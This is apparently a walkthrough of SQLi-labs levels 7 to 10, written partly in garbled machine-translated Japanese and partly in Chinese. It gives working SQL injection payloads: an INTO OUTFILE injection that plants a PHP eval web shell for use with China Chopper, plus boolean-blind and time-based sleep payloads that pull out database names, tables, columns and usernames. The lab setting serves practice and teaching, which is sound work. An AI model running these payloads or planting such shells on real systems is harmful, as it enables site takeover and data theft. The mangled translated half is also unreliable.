EDITORIAL:
私たちの後に動作させるために、データベースのユーザー権限を変更するには、すべての必要性を第一に。
ここで、\ phpstudy \ PHPTutorial \のMySQL \ my.iniファイル:;まず、「%安全な%」のようなショーの変数とmysqlコマンドラインは、ディスプレイがNULLであれば、あなたがCを開く必要があり、安全なファイル・PRIVの現在の値を表示しますそれを追加します。secure_file_priv = "/"。
変更の晩に再起動phpstudy許可
1.load_file(FILE_NAME)ファイルエクスポート機能:
LOAD_FILE(FILE_NAME):ファイルを読み込み、文字列としてファイルの内容を返します。
しかし、それ以外の場合はfalseを返しますが、そこにファイルの読み取り権限を持っている必要がありますし、完全に読み取り可能でなければなりません。(これはまた、上記の修正権限の理由です)
INTO OUTFILE 'file_name' は2.select .......:
あなたはファイルに書き込まれた行を選択することができます。同じことは、読んでいる必要があり、書き込み権限ファイルは、この文を実行することができます。
OUTFILEに選択したバージョン():たとえば、 "C:\\ phpstudy \\ 111.txt" \\こことWindowsで/同様の意味。このステートメントが正常に111.txtファイルを書かれたデータベースのバージョンを入れて実行されます。
私たちは言葉に内容を注射した場合やトロイの木馬は、セレクます:中国のチョッパーソフトウェアが使用して<PHP @Eval($ _ポストを[ 「美馬」])??>。
PS:ここで選択した単語の内容は、他の多くのものをアップロードすることができますトロイの木馬をアップロードするために限定されるものではありません。
3.トロイの木馬文:
<PHPの@Eval($ _ POST [ "カラス"]);?>これは、パスワードのカラスであるPHPのバージョン、です。
主に中国のチョッパーを使用して文トロイの木馬
話題に:
ソースコードを見ては、ID「))パッケージ、原則と同様にOKの文の前に構築されました
文を実行します。
?ID = 1 '))組合1,2を選択し、' <PHP @Eval($ _ POST [ "MM"]);?>」OUTFILE「Cへ:\\ phpStudy \\ WWW \\ SQLI-ラボマスター\\少ない-7 \\ 111.php」%23
同じ名前のPHPファイルを生成OUTFILE文にすべての最初のPHPファイルを使用していくつかのポイントは、同じディレクトリに表示されないことに留意すべきです
トロイの木馬文について:'<?? PHPの@Eval($ _ POST [ 『MM』]);>という言葉が何かを間違っているので、包丁で接続PHPと@Eval、多くの基本的な質問の間にスペースがあることに注意してください?。
与えられているが、111.phpファイルはコンテンツが登場し、インポートされています。にもかかわらず、
中国のキッチンナイフを接続した後、右の空白追加]を選択し、以下のページを入力します。
以下の図の形式ではなく、ローカルの絶対パスにシェルパス注意は、背中のミリ対応するパスワード、二文字の括弧内の文です。
次のように正常に接続した後です。
あまり-8:
1.ブールブラインド:
IDまたは使用は「一重引用符のように閉じた構成文を包みました。
このような使用に先立って(残っていた)、アスキー()+ SUBSTR()ここではそれらを繰り返す、解決策はないと思います。
以下に、噴射遅れの方法が記載されています。
2.遅延噴射:スリープ機能と組成があれば反応のページの長さに応じて((ページがすぐにtrueを返す、実行はflase睡眠を()が返されます)を介して)
(条件A、B)の場合:条件復帰が実行TURE場合、Bそれ以外の場合、実行
スリープ(A):応答する秒バックを待ちます。
例えば:?ID = 1「とする場合(長さ(datatbase())= 8,1、睡眠(10))を実行%23
当数据库长度为8时页面很快出现反应,不为8时会延时10秒返回页面反应。
同理 执行?id=1' and if(ascii(substr(database(),1,1))>110,1,sleep(10)) %23
与上面类似,比较费时,个人感觉逻辑上不如利用二分法布尔盲注快。
下面附上部分步骤:
数据库长度为8位
猜解数据库名
可以利用and left(database(),1)>'a' 猜解第一位
and left(database(),2)>'sa' 猜解前2位
left(str,num) 截取str字符串前num位(从左往右)
2.判断表名
and ascii(substr((select table_name from infomation_schema.tables where tables_schema=database() limit 0,1),1,1))
判断列名1:ascii+substr
and ascii(substr((select column_name from information_schema.columns where table_name=security.users limit 0,1),1,1))>97 %23
判断列名2:regexp
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23
3.1利用ascii和substr破解列中的内容:
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 %23
less 9-10:
与上面不同,不管如何输入返回都是You are in ....
所以只能使用延时注入。
less 9 的id是被 ' 包裹
less 10 是 " 包裹 注意闭合语句即可 方法就是上面所说的延时注入。